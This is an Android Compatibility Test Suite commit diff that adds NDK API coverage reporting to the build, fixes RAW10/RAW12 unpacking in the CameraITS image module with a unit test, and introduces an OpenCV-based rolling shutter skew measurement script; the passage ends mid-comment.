[automerger skipped] Merge "Merge "Merge "Update ServiceWorkerClientTest CTS test to make sure SW is unregistered." into nougat-cts-dev am: 8719ff4006" into nougat-mr1-cts-dev am: 12b4ca1499" into oreo-cts-dev
am: c27b2fd836 -s ours
am skip reason: change_id I5584935472bb6c936b9bace4f2f393d972a9151d with SHA1 69cafb0198 is in history
Change-Id: Id288fcd8709141695dc9234cf7c25e53dbbe479d
diff --git a/CleanSpec.mk b/CleanSpec.mk
index b2474c2..71ada3d 100644
--- a/CleanSpec.mk
+++ b/CleanSpec.mk
@@ -45,6 +45,8 @@
#$(call add-clean-step, rm -rf $(PRODUCT_OUT)/data/*)
$(call add-clean-step, rm -rf $(HOST_OUT_INTERMEDIATES)/EXECUTABLES/vm-tests-tf_intermediates)
+$(call add-clean-step, rm -rf $(OUT_DIR)/host/common/obj/JAVA_LIBRARIES/cts-tradefed_intermediates/com/android/compatibility/SuiteInfo.java)
+
# ************************************************
# NEWER CLEAN STEPS MUST BE AT THE END OF THE LIST
# ************************************************
diff --git a/CtsCoverage.mk b/CtsCoverage.mk
index c4536f6..895af4d 100644
--- a/CtsCoverage.mk
+++ b/CtsCoverage.mk
@@ -29,12 +29,19 @@
$(hide) mkdir -p $(dir $@)
$(hide) $(APICHECK_COMMAND) -convert2xml $< $@
+napi_text_description := cts/tools/cts-api-coverage/etc/ndk-api.xml
+napi_xml_description := $(coverage_out)/ndk-api.xml
+$(napi_xml_description) : $(napi_text_description) $(ACP)
+ $(hide) echo "Preparing NDK API XML: $@"
+ $(hide) mkdir -p $(dir $@)
+ $(hide) $(ACP) $< $@
+
cts-test-coverage-report := $(coverage_out)/test-coverage.html
cts-verifier-coverage-report := $(coverage_out)/verifier-coverage.html
cts-combined-coverage-report := $(coverage_out)/combined-coverage.html
cts-combined-xml-coverage-report := $(coverage_out)/combined-coverage.xml
-cts_api_coverage_dependencies := $(cts_api_coverage_exe) $(dexdeps_exe) $(api_xml_description)
+cts_api_coverage_dependencies := $(cts_api_coverage_exe) $(dexdeps_exe) $(api_xml_description) $(napi_xml_description)
android_cts_zip := $(HOST_OUT)/cts/android-cts.zip
cts_verifier_apk := $(call intermediates-dir-for,APPS,CtsVerifier)/package.apk
@@ -43,32 +50,36 @@
$(cts-test-coverage-report): PRIVATE_CTS_API_COVERAGE_EXE := $(cts_api_coverage_exe)
$(cts-test-coverage-report): PRIVATE_DEXDEPS_EXE := $(dexdeps_exe)
$(cts-test-coverage-report): PRIVATE_API_XML_DESC := $(api_xml_description)
+$(cts-test-coverage-report): PRIVATE_NAPI_XML_DESC := $(napi_xml_description)
$(cts-test-coverage-report) : $(android_cts_zip) $(cts_api_coverage_dependencies) | $(ACP)
- $(call generate-coverage-report,"CTS Tests API Coverage Report",\
+ $(call generate-coverage-report-cts,"CTS Tests API-NDK Coverage Report",\
$(PRIVATE_TEST_CASES),html)
$(cts-verifier-coverage-report): PRIVATE_TEST_CASES := $(cts_verifier_apk)
$(cts-verifier-coverage-report): PRIVATE_CTS_API_COVERAGE_EXE := $(cts_api_coverage_exe)
$(cts-verifier-coverage-report): PRIVATE_DEXDEPS_EXE := $(dexdeps_exe)
$(cts-verifier-coverage-report): PRIVATE_API_XML_DESC := $(api_xml_description)
+$(cts-verifier-coverage-report): PRIVATE_NAPI_XML_DESC := $(napi_xml_description)
$(cts-verifier-coverage-report) : $(cts_verifier_apk) $(cts_api_coverage_dependencies) | $(ACP)
- $(call generate-coverage-report,"CTS Verifier API Coverage Report",\
+ $(call generate-coverage-report-cts,"CTS Verifier API Coverage Report",\
$(PRIVATE_TEST_CASES),html)
$(cts-combined-coverage-report): PRIVATE_TEST_CASES := $(foreach c, $(cts_verifier_apk) $(COMPATIBILITY_TESTCASES_OUT_cts), $(c))
$(cts-combined-coverage-report): PRIVATE_CTS_API_COVERAGE_EXE := $(cts_api_coverage_exe)
$(cts-combined-coverage-report): PRIVATE_DEXDEPS_EXE := $(dexdeps_exe)
$(cts-combined-coverage-report): PRIVATE_API_XML_DESC := $(api_xml_description)
+$(cts-combined-coverage-report): PRIVATE_NAPI_XML_DESC := $(napi_xml_description)
$(cts-combined-coverage-report) : $(android_cts_zip) $(cts_verifier_apk) $(cts_api_coverage_dependencies) | $(ACP)
- $(call generate-coverage-report,"CTS Combined API Coverage Report",\
+ $(call generate-coverage-report-cts,"CTS Combined API Coverage Report",\
$(PRIVATE_TEST_CASES),html)
$(cts-combined-xml-coverage-report): PRIVATE_TEST_CASES := $(foreach c, $(cts_verifier_apk) $(COMPATIBILITY_TESTCASES_OUT_cts), $(c))
$(cts-combined-xml-coverage-report): PRIVATE_CTS_API_COVERAGE_EXE := $(cts_api_coverage_exe)
$(cts-combined-xml-coverage-report): PRIVATE_DEXDEPS_EXE := $(dexdeps_exe)
$(cts-combined-xml-coverage-report): PRIVATE_API_XML_DESC := $(api_xml_description)
+$(cts-combined-xml-coverage-report): PRIVATE_NAPI_XML_DESC := $(napi_xml_description)
$(cts-combined-xml-coverage-report) : $(android_cts_zip) $(cts_verifier_apk) $(cts_api_coverage_dependencies) | $(ACP)
- $(call generate-coverage-report,"CTS Combined API Coverage Report - XML",\
+ $(call generate-coverage-report-cts,"CTS Combined API Coverage Report - XML",\
$(PRIVATE_TEST_CASES),xml)
.PHONY: cts-test-coverage
@@ -95,10 +106,10 @@
# 1 - Name of the report printed out on the screen
# 2 - List of apk files that will be scanned to generate the report
# 3 - Format of the report
-define generate-coverage-report
+define generate-coverage-report-cts
$(hide) mkdir -p $(dir $@)
- $(hide) $(PRIVATE_CTS_API_COVERAGE_EXE) -d $(PRIVATE_DEXDEPS_EXE) -a $(PRIVATE_API_XML_DESC) -f $(3) -o $@ $(2)
- @ echo $(1): file://$(ANDROID_BUILD_TOP)/$@
+ $(hide) $(PRIVATE_CTS_API_COVERAGE_EXE) -d $(PRIVATE_DEXDEPS_EXE) -a $(PRIVATE_API_XML_DESC) -n $(PRIVATE_NAPI_XML_DESC) -f $(3) -o $@ $(2)
+ @ echo $(1): file://$$(cd $(dir $@); pwd)/$(notdir $@)
endef
# Reset temp vars
@@ -109,6 +120,8 @@
cts-test-coverage-report :=
api_xml_description :=
api_text_description :=
+napi_xml_description :=
+napi_text_description :=
coverage_out :=
dexdeps_exe :=
cts_api_coverage_exe :=
diff --git a/PREUPLOAD.cfg b/PREUPLOAD.cfg
index e5c8d7a..cc2aad9 100644
--- a/PREUPLOAD.cfg
+++ b/PREUPLOAD.cfg
@@ -2,6 +2,7 @@
checkstyle_hook = ${REPO_ROOT}/prebuilts/checkstyle/checkstyle.py --sha ${PREUPLOAD_COMMIT}
-fw apps/CtsVerifier/src/com/android/cts/verifier/usb/
apps/CtsVerifierUSBCompanion/
+ tests/autofillservice/
tests/tests/animation/
tests/tests/print/
tests/tests/text/
diff --git a/apps/CameraITS/build/scripts/gpylint_rcfile b/apps/CameraITS/build/scripts/gpylint_rcfile
index 43d3dbc..37f43f7 100644
--- a/apps/CameraITS/build/scripts/gpylint_rcfile
+++ b/apps/CameraITS/build/scripts/gpylint_rcfile
@@ -279,7 +279,7 @@
# Number of spaces of indent required when the last token on the preceding line
# is an open (, [, or {.
-indent-after-paren=4
+indent-after-paren=8
# Minimum number of spaces between the end of a line and an inline comment.
min-comment-space=2
diff --git a/apps/CameraITS/pymodules/its/image.py b/apps/CameraITS/pymodules/its/image.py
index 3543764..c1bc0e2 100644
--- a/apps/CameraITS/pymodules/its/image.py
+++ b/apps/CameraITS/pymodules/its/image.py
@@ -16,16 +16,14 @@
matplotlib.use('Agg')
import its.error
-from matplotlib import pylab
import sys
from PIL import Image
import numpy
import math
import unittest
import cStringIO
-import scipy.stats
import copy
-import os
+import random
DEFAULT_YUV_TO_RGB_CCM = numpy.matrix([
[1.000, 0.000, 1.402],
@@ -86,6 +84,7 @@
else:
raise its.error.Error('Invalid format %s' % (cap["format"]))
+
def unpack_rawstats_capture(cap):
"""Unpack a rawStats capture to the mean and variance images.
@@ -105,6 +104,7 @@
var_image = analysis_image[1,:,:,:].reshape(h,w,4)
return mean_image, var_image
+
def unpack_raw10_capture(cap, props):
"""Unpack a raw-10 capture to a raw-16 capture.
@@ -125,6 +125,7 @@
cap["format"] = "raw"
return cap
+
def unpack_raw10_image(img):
"""Unpack a raw-10 image to a raw-16 image.
@@ -150,11 +151,14 @@
lsbs = img[::, 4::5].reshape(h,w/4)
lsbs = numpy.right_shift(
numpy.packbits(numpy.unpackbits(lsbs).reshape(h,w/4,4,2),3), 6)
+ # Pair the LSB bits group to pixel 0 instead of pixel 3
+ lsbs = lsbs.reshape(h,w/4,4)[:,:,::-1]
lsbs = lsbs.reshape(h,w)
# Fuse the MSBs and LSBs back together
img16 = numpy.bitwise_or(msbs, lsbs).reshape(h,w)
return img16
+
def unpack_raw12_capture(cap, props):
"""Unpack a raw-12 capture to a raw-16 capture.
@@ -175,6 +179,7 @@
cap["format"] = "raw"
return cap
+
def unpack_raw12_image(img):
"""Unpack a raw-12 image to a raw-16 image.
@@ -200,11 +205,14 @@
lsbs = img[::, 2::3].reshape(h,w/2)
lsbs = numpy.right_shift(
numpy.packbits(numpy.unpackbits(lsbs).reshape(h,w/2,2,4),3), 4)
+ # Pair the LSB bits group to pixel 0 instead of pixel 1
+ lsbs = lsbs.reshape(h,w/2,2)[:,:,::-1]
lsbs = lsbs.reshape(h,w)
# Fuse the MSBs and LSBs back together
img16 = numpy.bitwise_or(msbs, lsbs).reshape(h,w)
return img16
+
def convert_capture_to_planes(cap, props=None):
"""Convert a captured image object to separate image planes.
@@ -303,6 +311,7 @@
else:
raise its.error.Error('Invalid format %s' % (cap["format"]))
+
def get_canonical_cfa_order(props):
"""Returns a mapping from the Bayer 2x2 top-left grid in the CFA to
the standard order R,Gr,Gb,B.
@@ -333,6 +342,7 @@
else:
raise its.error.Error("Not supported")
+
def get_gains_in_canonical_order(props, gains):
"""Reorders the gains tuple to the canonical R,Gr,Gb,B order.
@@ -353,6 +363,7 @@
else:
raise its.error.Error("Not supported")
+
def convert_raw_to_rgb_image(r_plane, gr_plane, gb_plane, b_plane,
props, cap_res):
"""Convert a Bayer raw-16 image to an RGB image.
@@ -402,6 +413,7 @@
img = numpy.dot(img.reshape(w*h,3), ccm.T).reshape(h,w,3).clip(0.0,1.0)
return img
+
def get_black_level(chan, props, cap_res):
"""Return the black level to use for a given capture.
@@ -425,6 +437,7 @@
ordered_black_levels = [black_levels[i] for i in idxs]
return ordered_black_levels[chan]
+
def convert_yuv420_planar_to_rgb_image(y_plane, u_plane, v_plane,
w, h,
ccm_yuv_to_rgb=DEFAULT_YUV_TO_RGB_CCM,
@@ -456,6 +469,7 @@
rgb.reshape(w*h*3)[:] = flt.reshape(w*h*3)[:]
return rgb.astype(numpy.float32) / 255.0
+
def load_rgb_image(fname):
"""Load a standard image file (JPG, PNG, etc.).
@@ -478,6 +492,7 @@
else:
raise its.error.Error('Unsupported image type')
+
def load_yuv420_to_rgb_image(yuv_fname,
w, h,
layout="planar",
@@ -517,6 +532,7 @@
return convert_yuv420_planar_to_rgb_image(
y,u,v,w,h,ccm_yuv_to_rgb,yuv_off)
+
def load_yuv420_planar_to_yuv_planes(yuv_fname, w, h):
"""Load a YUV420 planar image file, and return Y, U, and V plane images.
@@ -539,6 +555,7 @@
(u.astype(numpy.float32) / 255.0).reshape(h/2, w/2, 1),
(v.astype(numpy.float32) / 255.0).reshape(h/2, w/2, 1))
+
def decompress_jpeg_to_rgb_image(jpeg_buffer):
"""Decompress a JPEG-compressed image, returning as an RGB image.
@@ -553,6 +570,7 @@
h = img.size[1]
return numpy.array(img).reshape(h,w,3) / 255.0
+
def apply_lut_to_image(img, lut):
"""Applies a LUT to every pixel in a float image array.
@@ -586,6 +604,7 @@
m = float(n-1)
return (lut[(img * m).astype(numpy.uint16)] / m).astype(numpy.float32)
+
def apply_matrix_to_image(img, mat):
"""Multiplies a 3x3 matrix with each float-3 image pixel.
@@ -610,6 +629,7 @@
).reshape(w*h*3)[:]
return img2
+
def get_image_patch(img, xnorm, ynorm, wnorm, hnorm):
"""Get a patch (tile) of an image.
@@ -628,6 +648,7 @@
htile = int(math.floor(hnorm * hfull))
return img[ytile:ytile+htile,xtile:xtile+wtile,:].copy()
+
def compute_image_means(img):
"""Calculate the mean of each color channel in the image.
@@ -643,6 +664,7 @@
means.append(numpy.mean(img[:,:,i], dtype=numpy.float64))
return means
+
def compute_image_variances(img):
"""Calculate the variance of each color channel in the image.
@@ -658,6 +680,7 @@
variances.append(numpy.var(img[:,:,i], dtype=numpy.float64))
return variances
+
def compute_image_snrs(img):
"""Calculate the SNR (db) of each color channel in the image.
@@ -673,6 +696,7 @@
snr = [20 * math.log10(m/s) for m,s in zip(means, std_devs)]
return snr
+
def write_image(img, fname, apply_gamma=False):
"""Save a float-3 numpy array image to a file.
@@ -701,6 +725,7 @@
else:
raise its.error.Error('Unsupported image type')
+
def downscale_image(img, f):
"""Shrink an image by a given integer factor.
@@ -842,5 +867,40 @@
passed = all([math.fabs(y[i] - y_ref[i]) < 0.001 for i in xrange(3)])
self.assertTrue(passed)
-if __name__ == '__main__':
+ def test_unpack_raw10_image(self):
+ """Unit test for unpack_raw10_image.
+
+ RAW10 bit packing format
+ bit 7 bit 6 bit 5 bit 4 bit 3 bit 2 bit 1 bit 0
+ Byte 0: P0[9] P0[8] P0[7] P0[6] P0[5] P0[4] P0[3] P0[2]
+ Byte 1: P1[9] P1[8] P1[7] P1[6] P1[5] P1[4] P1[3] P1[2]
+ Byte 2: P2[9] P2[8] P2[7] P2[6] P2[5] P2[4] P2[3] P2[2]
+ Byte 3: P3[9] P3[8] P3[7] P3[6] P3[5] P3[4] P3[3] P3[2]
+ Byte 4: P3[1] P3[0] P2[1] P2[0] P1[1] P1[0] P0[1] P0[0]
+ """
+ # test by using a random 4x4 10-bit image
+ H = 4
+ W = 4
+ check_list = random.sample(range(0, 1024), H*W)
+ img_check = numpy.array(check_list).reshape(H, W)
+ # pack bits
+ for row_start in range(0, len(check_list), W):
+ msbs = []
+ lsbs = ""
+ for pixel in range(W):
+ val = numpy.binary_repr(check_list[row_start+pixel], 10)
+ msbs.append(int(val[:8], base=2))
+ lsbs = val[8:] + lsbs
+ packed = msbs
+ packed.append(int(lsbs, base=2))
+ chunk_raw10 = numpy.array(packed, dtype="uint8").reshape(1, 5)
+ if row_start == 0:
+ img_raw10 = chunk_raw10
+ else:
+ img_raw10 = numpy.vstack((img_raw10, chunk_raw10))
+ # unpack and check against original
+ self.assertTrue(numpy.array_equal(unpack_raw10_image(img_raw10),
+ img_check))
+
+if __name__ == "__main__":
unittest.main()
diff --git a/apps/CameraITS/tests/rolling_shutter_skew/RollingShutterSkew.pdf b/apps/CameraITS/tests/rolling_shutter_skew/RollingShutterSkew.pdf
new file mode 100644
index 0000000..1a6c30a
--- /dev/null
+++ b/apps/CameraITS/tests/rolling_shutter_skew/RollingShutterSkew.pdf
Binary files differ
diff --git a/apps/CameraITS/tests/rolling_shutter_skew/test_rolling_shutter_skew.py b/apps/CameraITS/tests/rolling_shutter_skew/test_rolling_shutter_skew.py
new file mode 100644
index 0000000..824c180
--- /dev/null
+++ b/apps/CameraITS/tests/rolling_shutter_skew/test_rolling_shutter_skew.py
@@ -0,0 +1,675 @@
+"""Experimentally determines a camera's rolling shutter skew.
+
+See the accompanying PDF for instructions on how to use this test.
+"""
+from __future__ import division
+from __future__ import print_function
+
+import argparse
+import glob
+import math
+import os
+import sys
+import tempfile
+
+import cv2
+import its.caps
+import its.device
+import its.image
+import its.objects
+import numpy as np
+
+DEBUG = False
+
+# Constants for which direction the camera is facing.
+FACING_FRONT = 0
+FACING_BACK = 1
+FACING_EXTERNAL = 2
+
+# Camera capture defaults.
+FPS = 30
+WIDTH = 640
+HEIGHT = 480
+TEST_LENGTH = 1
+
+# Each circle in a cluster must be within this many pixels of some other circle
+# in the cluster.
+CLUSTER_DISTANCE = 50.0 / HEIGHT
+# A cluster must consist of at least this percentage of the total contours for
+# it to be allowed into the computation.
+MAJORITY_THRESHOLD = 0.7
+
+# Constants to make sure the slope of the fitted line is reasonable.
+SLOPE_MIN_THRESHOLD = 0.5
+SLOPE_MAX_THRESHOLD = 1.5
+
+# To improve readability of unit conversions.
+SEC_TO_NSEC = float(10**9)
+MSEC_TO_NSEC = float(10**6)
+NSEC_TO_MSEC = 1.0 / float(10**6)
+
+
+class RollingShutterArgumentParser(object):
+ """Parses command line arguments for the rolling shutter test."""
+
+ def __init__(self):
+ self.__parser = argparse.ArgumentParser(
+ description='Run rolling shutter test')
+ self.__parser.add_argument(
+ '-d', '--debug',
+ action='store_true',
+ help='print and write data useful for debugging')
+ self.__parser.add_argument(
+ '-f', '--fps',
+ type=int,
+ help='FPS to capture with during the test (defaults to 30)')
+ self.__parser.add_argument(
+ '-i', '--img_size',
+ help=('comma-separated dimensions of captured images (defaults '
+ 'to 640x480). Example: --img_size=<width>,<height>'))
+ self.__parser.add_argument(
+ '-l', '--led_time',
+ type=float,
+ required=True,
+ help=('how many milliseconds each column of the LED array is '
+ 'lit for'))
+ self.__parser.add_argument(
+ '-p', '--panel_distance',
+ type=float,
+ help='how far the LED panel is from the camera (in meters)')
+ self.__parser.add_argument(
+ '-r', '--read_dir',
+ help=('read existing test data from specified directory. If '
+ 'not specified, new test data is collected from the '
+ 'device\'s camera)'))
+ self.__parser.add_argument(
+ '--device_id',
+ help=('device ID for device being tested (can also use '
+ '\'device=<DEVICE ID>\')'))
+ self.__parser.add_argument(
+ '-t', '--test_length',
+ type=int,
+ help=('how many seconds the test should run for (defaults to 1 '
+ 'second)'))
+ self.__parser.add_argument(
+ '-o', '--debug_dir',
+ help=('write debugging information in a folder in the '
+ 'specified directory. Otherwise, the system\'s default '
+ 'location for temporary folders is used. --debug must '
+ 'be specified along with this argument.'))
+
+ def parse_args(self):
+ """Returns object containing parsed values from the command line."""
+ # Don't show argparse the 'device' flag, since it's in a different
+ # format than the others (to maintain CameraITS conventions) and it will
+ # complain.
+ filtered_args = [arg for arg in sys.argv[1:] if 'device=' not in arg]
+ args = self.__parser.parse_args(filtered_args)
+ if args.device_id:
+ # If argparse format is used, convert it to a format its.device can
+ # use later on.
+ sys.argv.append('device=%s' % args.device_id)
+ return args
+
+
+def main():
+ global DEBUG
+ global CLUSTER_DISTANCE
+
+ parser = RollingShutterArgumentParser()
+ args = parser.parse_args()
+
+ DEBUG = args.debug
+ if not DEBUG and args.debug_dir:
+ print('argument --debug_dir requires --debug', file=sys.stderr)
+ sys.exit()
+
+ if args.read_dir is None:
+ # Collect new data.
+ raw_caps, reported_skew = collect_data(args)
+ frames = [its.image.convert_capture_to_rgb_image(c) for c in raw_caps]
+ else:
+ # Load existing data.
+ frames, reported_skew = load_data(args.read_dir)
+
+ # Make the cluster distance relative to the height of the image.
+ (frame_h, _, _) = frames[0].shape
+ CLUSTER_DISTANCE = frame_h * CLUSTER_DISTANCE
+ debug_print('Setting cluster distance to %spx.' % CLUSTER_DISTANCE)
+
+ if DEBUG:
+ debug_dir = setup_debug_dir(args.debug_dir)
+ # Write raw frames.
+ for i, img in enumerate(frames):
+ its.image.write_image(img, '%s/raw/%03d.png' % (debug_dir, i))
+ else:
+ debug_dir = None
+
+ avg_shutter_skew, num_frames_used = find_average_shutter_skew(
+ frames, args.led_time, debug_dir)
+ if debug_dir:
+ # Write the reported skew with the raw images, so the directory can also
+ # be used to read from.
+ with open(debug_dir + '/raw/reported_skew.txt', 'w') as f:
+ f.write('%sms\n' % reported_skew)
+
+ if avg_shutter_skew is None:
+ print('Could not find usable frames.')
+ else:
+ print('Device reported shutter skew of %sms.' % reported_skew)
+ print('Measured shutter skew is %sms (averaged over %s frames).' %
+ (avg_shutter_skew, num_frames_used))
+
+
+def collect_data(args):
+ """Capture a new set of frames from the device's camera.
+
+ Args:
+ args: Parsed command line arguments.
+
+ Returns:
+ A list of RGB images as numpy arrays.
+ """
+ fps = args.fps if args.fps else FPS
+ if args.img_size:
+ w, h = map(int, args.img_size.split(','))
+ else:
+ w, h = WIDTH, HEIGHT
+ test_length = args.test_length if args.test_length else TEST_LENGTH
+
+ with its.device.ItsSession() as cam:
+ props = cam.get_camera_properties()
+ its.caps.skip_unless(its.caps.manual_sensor(props))
+ facing = props['android.lens.facing']
+ if facing != FACING_FRONT and facing != FACING_BACK:
+ print('Unknown lens facing %s' % facing)
+ assert 0
+
+ fmt = {'format': 'yuv', 'width': w, 'height': h}
+ s, e, _, _, _ = cam.do_3a(get_results=True, do_af=False)
+ req = its.objects.manual_capture_request(s, e)
+ req['android.control.aeTargetFpsRange'] = [fps, fps]
+
+ # Convert from milliseconds to nanoseconds. We only want enough
+ # exposure time to saturate approximately one column.
+ exposure_time = (args.led_time / 2.0) * MSEC_TO_NSEC
+ print('Using exposure time of %sns.' % exposure_time)
+ req['android.sensor.exposureTime'] = exposure_time
+ req["android.sensor.frameDuration"] = int(SEC_TO_NSEC / fps);
+
+ if args.panel_distance is not None:
+ # Convert meters to diopters and use that for the focus distance.
+ req['android.lens.focusDistance'] = 1 / args.panel_distance
+ print('Starting capture')
+ raw_caps = cam.do_capture([req]*fps*test_length, fmt)
+ print('Finished capture')
+
+ # Convert from nanoseconds to milliseconds.
+ shutter_skews = {c['metadata']['android.sensor.rollingShutterSkew'] *
+ NSEC_TO_MSEC for c in raw_caps}
+ # All frames should have same rolling shutter skew.
+ assert len(shutter_skews) == 1
+ shutter_skew = list(shutter_skews)[0]
+
+ return raw_caps, shutter_skew
+
+
+def load_data(dir_name):
+ """Reads camera frame data from an existing directory.
+
+ Args:
+ dir_name: Name of the directory to read data from.
+
+ Returns:
+ A list of RGB images as numpy arrays.
+ """
+ frame_files = glob.glob('%s/*.png' % dir_name)
+ frames = []
+ for frame_file in sorted(frame_files):
+ frames.append(its.image.load_rgb_image(frame_file))
+ with open('%s/reported_skew.txt' % dir_name, 'r') as f:
+ reported_skew = f.readline()[:-2] # Strip off 'ms' suffix
+ return frames, reported_skew
+
+
+def find_average_shutter_skew(frames, led_time, debug_dir=None):
+ """Finds the average shutter skew using the given frames.
+
+ Frames without enough information will be discarded from the average to
+ improve overall accuracy.
+
+ Args:
+ frames: List of RGB images from the camera being tested.
+ led_time: How long a single LED column is lit for (in milliseconds).
+ debug_dir: (optional) Directory to write debugging information to.
+
+ Returns:
+ The average calculated shutter skew and the number of frames used to
+ calculate the average.
+ """
+ avg_shutter_skew = 0.0
+ avg_slope = 0.0
+ weight = 0.0
+ num_frames_used = 0
+
+ for i, frame in enumerate(frames):
+ debug_print('------------------------')
+ debug_print('| PROCESSING FRAME %03d |' % i)
+ debug_print('------------------------')
+ shutter_skew, confidence, slope = calculate_shutter_skew(
+ frame, led_time, i, debug_dir=debug_dir)
+ if shutter_skew is None:
+ debug_print('Skipped frame.')
+ else:
+ debug_print('Shutter skew is %sms (confidence: %s).' %
+ (shutter_skew, confidence))
+ # Use the confidence to weight the average.
+ avg_shutter_skew += shutter_skew * confidence
+ avg_slope += slope * confidence
+ weight += confidence
+ num_frames_used += 1
+
+ debug_print('\n')
+ if num_frames_used == 0:
+ return None, None
+ else:
+ avg_shutter_skew /= weight
+ avg_slope /= weight
+ slope_err_str = ('The average slope of the fitted line was too %s '
+ 'to get an accurate measurement (slope was %s). '
+ 'Try making the LED panel %s.')
+ if avg_slope < SLOPE_MIN_THRESHOLD:
+ print(slope_err_str % ('flat', avg_slope, 'slower'),
+ file=sys.stderr)
+ elif avg_slope > SLOPE_MAX_THRESHOLD:
+ print(slope_err_str % ('steep', avg_slope, 'faster'),
+ file=sys.stderr)
+ return avg_shutter_skew, num_frames_used
+
+
+def calculate_shutter_skew(frame, led_time, frame_num=None, debug_dir=None):
+ """Calculates the shutter skew of the camera being used for this test.
+
+ Args:
+ frame: A single RGB image captured by the camera being tested.
+ led_time: How long a single LED column is lit for (in milliseconds).
+ frame_num: (optional) Number of the given frame.
+ debug_dir: (optional) Directory to write debugging information to.
+
+ Returns:
+ The shutter skew (in milliseconds), the confidence in the accuracy of
+ the measurement (useful for weighting averages), and the slope of the
+ fitted line.
+ """
+ contours, scratch_img, contour_img, mono_img = find_contours(frame.copy())
+ if debug_dir is not None:
+ cv2.imwrite('%s/contour/%03d.png' % (debug_dir, frame_num), contour_img)
+ cv2.imwrite('%s/mono/%03d.png' % (debug_dir, frame_num), mono_img)
+
+ largest_cluster, cluster_percentage = find_largest_cluster(contours,
+ scratch_img)
+ if largest_cluster is None:
+ debug_print('No majority cluster found.')
+ return None, None, None
+ elif len(largest_cluster) <= 1:
+ debug_print('Majority cluster was too small.')
+ return None, None, None
+ debug_print('%s points in the largest cluster.' % len(largest_cluster))
+
+ np_cluster = np.array([[c.x, c.y] for c in largest_cluster])
+ [vx], [vy], [x0], [y0] = cv2.fitLine(np_cluster, cv2.cv.CV_DIST_L2,
+ 0, 0.01, 0.01)
+ slope = vy / vx
+ debug_print('Slope is %s.' % slope)
+ (frame_h, frame_w, _) = frame.shape
+ # Draw line onto scratch frame.
+ pt1 = tuple(map(int, (x0 - vx * 1000, y0 - vy * 1000)))
+ pt2 = tuple(map(int, (x0 + vx * 1000, y0 + vy * 1000)))
+ cv2.line(scratch_img, pt1, pt2, (0, 255, 255), thickness=3)
+
+ # We only need the width of the cluster.
+ _, _, cluster_w, _ = find_cluster_bounding_rect(largest_cluster,
+ scratch_img)
+
+ num_columns = find_num_columns_spanned(largest_cluster)
+ debug_print('%s columns spanned by cluster.' % num_columns)
+ # How long it takes for a column to move from the left of the bounding
+ # rectangle to the right.
+ left_to_right_time = led_time * num_columns
+ milliseconds_per_x_pixel = left_to_right_time / cluster_w
+ # The distance between the line's intersection at the top of the frame and
+ # the intersection at the bottom.
+ x_range = frame_h / slope
+ shutter_skew = milliseconds_per_x_pixel * x_range
+ # If the aspect ratio is different from 4:3 (the aspect ratio of the actual
+ # sensor), we need to correct, because it will be cropped.
+ shutter_skew *= (float(frame_w) / float(frame_h)) / (4.0 / 3.0)
+
+ if debug_dir is not None:
+ cv2.imwrite('%s/scratch/%03d.png' % (debug_dir, frame_num),
+ scratch_img)
+
+ return shutter_skew, cluster_percentage, slope
+
+
+def find_contours(img):
+ """Finds contours in the given image.
+
+ Args:
+ img: Image in Android camera RGB format.
+
+ Returns:
+ OpenCV-formatted contours, the original image in OpenCV format, a
+ thresholded image with the contours drawn on, and a grayscale version of
+ the image.
+ """
+ # Convert to format OpenCV can work with (BGR ordering with byte-ranged
+ # values).
+ img *= 255
+ img = img.astype(np.uint8)
+ img = cv2.cvtColor(img, cv2.COLOR_RGB2BGR)
+
+ # Since the LED colors for the panel we're using are red, we can get better
+ # contours for the LEDs if we ignore the green and blue channels. This also
+ # makes it so we don't pick up the blue control screen of the LED panel.
+ red_img = img[:, :, 2]
+ _, thresh = cv2.threshold(red_img, 0, 255, cv2.THRESH_BINARY +
+ cv2.THRESH_OTSU)
+
+ # Remove noise before finding contours by eroding the thresholded image and
+ # then re-dilating it. The size of the kernel represents how many
+ # neighboring pixels to consider for the result of a single pixel.
+ kernel = np.ones((3, 3), np.uint8)
+ opening = cv2.morphologyEx(thresh, cv2.MORPH_OPEN, kernel, iterations=2)
+
+ if DEBUG:
+ # Need to convert it back to BGR if we want to draw colored contours.
+ contour_img = cv2.cvtColor(opening, cv2.COLOR_GRAY2BGR)
+ else:
+ contour_img = None
+ contours, _ = cv2.findContours(opening,
+ cv2.cv.CV_RETR_EXTERNAL,
+ cv2.cv.CV_CHAIN_APPROX_NONE)
+ if DEBUG:
+ cv2.drawContours(contour_img, contours, -1, (0, 0, 255), thickness=2)
+ return contours, img, contour_img, red_img
+
+
+def convert_to_circles(contours):
+ """Converts given contours into circle objects.
+
+ Args:
+ contours: Contours generated by OpenCV.
+
+ Returns:
+ A list of circles.
+ """
+
+ class Circle(object):
+ """Holds data to uniquely define a circle."""
+
+ def __init__(self, contour):
+ self.x = int(np.mean(contour[:, 0, 0]))
+ self.y = int(np.mean(contour[:, 0, 1]))
+ # Get diameters of each axis then half it.
+ x_r = (np.max(contour[:, 0, 0]) - np.min(contour[:, 0, 0])) / 2.0
+ y_r = (np.max(contour[:, 0, 1]) - np.min(contour[:, 0, 1])) / 2.0
+ # Average x radius and y radius to get the approximate radius for
+ # the given contour.
+ self.r = (x_r + y_r) / 2.0
+ assert self.r > 0.0
+
+ def distance_to(self, other):
+ return (math.sqrt((other.x - self.x)**2 + (other.y - self.y)**2) -
+ self.r - other.r)
+
+ def intersects(self, other):
+ return self.distance_to(other) <= 0.0
+
+ return list(map(Circle, contours))
+
+
+def find_largest_cluster(contours, frame):
+ """Finds the largest cluster in the given contours.
+
+ Args:
+ contours: Contours generated by OpenCV.
+ frame: For drawing debugging information onto.
+
+ Returns:
+ The cluster with the most contours in it and the percentage of all
+ contours that the cluster contains.
+ """
+ clusters = proximity_clusters(contours)
+
+ if not clusters:
+ return None, None # No clusters found.
+
+ largest_cluster = max(clusters, key=len)
+ cluster_percentage = len(largest_cluster) / len(contours)
+
+ if cluster_percentage < MAJORITY_THRESHOLD:
+ return None, None
+
+ if DEBUG:
+ # Draw largest cluster on scratch frame.
+ for circle in largest_cluster:
+ cv2.circle(frame, (int(circle.x), int(circle.y)), int(circle.r),
+ (0, 255, 0), thickness=2)
+
+ return largest_cluster, cluster_percentage
+
+
+def proximity_clusters(contours):
+ """Sorts the given contours into groups by distance.
+
+ Converts every given contour to a circle and clusters by adding a circle to
+ a cluster only if it is close to at least one other circle in the cluster.
+
+ TODO: Make algorithm faster (currently O(n**2)).
+
+ Args:
+ contours: Contours generated by OpenCV.
+
+ Returns:
+ A list of clusters, where each cluster is a list of the circles
+ contained in the cluster.
+ """
+ circles = convert_to_circles(contours)
+
+ # Use disjoint-set data structure to store assignments. Start every point
